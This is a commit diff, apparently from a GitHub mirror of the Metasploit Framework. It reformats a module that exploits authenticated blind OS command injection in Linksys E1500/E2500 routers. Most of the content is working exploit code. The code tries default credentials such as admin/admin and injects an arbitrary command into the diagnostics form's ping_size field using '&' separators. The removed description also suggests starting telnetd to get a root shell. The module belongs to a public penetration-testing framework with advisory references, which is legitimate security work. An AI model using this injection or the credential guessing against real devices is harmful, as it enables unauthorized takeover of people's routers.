infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

cleanup for linksys_e1500_e2500_exec

unstable
jvazquez-r7 2013-03-23 23:30:49 +01:00
parent 98be5d97b8
commit 49ac3ac1a3
1 changed files with 35 additions and 42 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

77
modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb
View File

@ -13,28 +13,23 @@ class Metasploit3 < Msf::Auxiliary
def initialize(info = {})
super(update_info(info,
'Name' => 'Linksys E1500/E2500 Remote OS Command Execution',
'Name' => 'Linksys E1500/E2500 Remote Command Execution',
'Description' => %q{
Some Linksys Routers are vulnerable to OS Command injection.
You will need credentials to the webinterface to access the vulnerable part
of the application. Default credentials are always a good starting point.
admin/admin or admin/password could be a first try.
Note: This is a blind os command injection vulnerability. This means that you will
not see any output of your command. Try a ping command to your local system for a
first test.
Hint: To get a remote shell you could start telnetd and touch /etc/group. Use the
user root without a password for accessing the device.
Some Linksys Routers are vulnerable to an authenticated OS command injection.
Default credentials for the web interface are admin/admin or admin/password. Since
it is a blind os command injection vulnerability, there is no output for the
executed command. A ping command against a controlled system for can be used for
testing purposes.
},
'Author' => [ 'm-1-k-3' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://homesupport.cisco.com/de-eu/support/routers/E1500' ],
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-004' ],
[ 'EDB', '24475' ],
[ 'OSVDB', '89912' ],
[ 'BID', '57760' ]
[ 'BID', '57760' ],
[ 'EDB', '24475' ],
[ 'URL', 'http://homesupport.cisco.com/de-eu/support/routers/E1500' ],
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-004' ]
],
'DisclosureDate' => 'Feb 05 2013'))
@ -54,14 +49,14 @@ class Metasploit3 < Msf::Auxiliary
print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
begin
res = send_request_cgi({
'uri' => uri,
'method' => 'GET',
'authorization' => basic_auth(user,pass)
})
res = send_request_cgi({
'uri' => uri,
'method' => 'GET',
'authorization' => basic_auth(user,pass)
})
return if res.nil?
return if (res.code == 404)
return if res.nil?
return if (res.code == 404)
if [200, 301, 302].include?(res.code)
print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
@ -71,11 +66,10 @@ class Metasploit3 < Msf::Auxiliary
end
rescue ::Rex::ConnectionError
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
return
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
return
end
print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD'])
cmd = datastore['CMD']
@ -85,23 +79,22 @@ class Metasploit3 < Msf::Auxiliary
vprint_status("#{rhost}:#{rport} - using the following target URL: #{uri}")
begin
res = send_request_cgi(
{
'uri' => uri,
'method' => 'POST',
'authorization' => basic_auth(user,pass),
'vars_post' => {
"submit_button" => "Diagnostics",
"change_action" => "gozila_cgi",
"submit_type" => "start_ping",
"action" => "",
"commit" => "0",
"ping_ip" => "1.1.1.1",
"ping_size" => "&#{cmd}&",
"ping_times" => "5",
"traceroute_ip" => ""
}
})
res = send_request_cgi({
'uri' => uri,
'method' => 'POST',
'authorization' => basic_auth(user,pass),
'vars_post' => {
"submit_button" => "Diagnostics",
"change_action" => "gozila_cgi",
"submit_type" => "start_ping",
"action" => "",
"commit" => "0",
"ping_ip" => "1.1.1.1",
"ping_size" => "&#{cmd}&",
"ping_times" => "5",
"traceroute_ip" => ""
}
})
rescue ::Rex::ConnectionError
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
return